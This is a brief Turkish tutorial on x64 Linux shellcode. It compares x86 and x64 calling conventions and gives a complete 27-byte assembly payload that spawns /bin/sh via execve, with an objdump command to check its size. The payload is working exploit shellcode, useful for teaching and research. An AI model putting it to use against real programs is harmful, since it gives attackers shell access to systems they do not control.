Modern Shellcode - Linux x64 - 27 Bytes
64-bit mimaride shellcode yazmak x86'dan farklidir. Register'lar 64-bit genisligine cikmistir. Sistem cagrisi icin int 0x80 yerine syscall talimatı kullanilir.
x64 vs x86 Farklari
x86 → x64
eax → rax (64-bit)
ebx → rdi (1. arg - System V AMD64 ABI)
ecx → rsi (2. arg)
int 0x80 → syscall
execve = 59 (x64) | 11 (x86)
x64 Assembly
section .text
global _start
_start:
xor rdi, rdi
mul rdi ; rax=0, rdx=0
push rax
mov rcx, 0x68732f6e69622f2f ; //bin/sh
push rcx
mov rdi, rsp ; rdi = /bin//sh
push rax
push rdi
mov rsi, rsp
mov al, 59 ; execve = 59
syscall
Boyut Dogrulama
objdump -d shell64 | grep -Po '\x..' | tr -d '\n' | wc -c
# Cikti: 27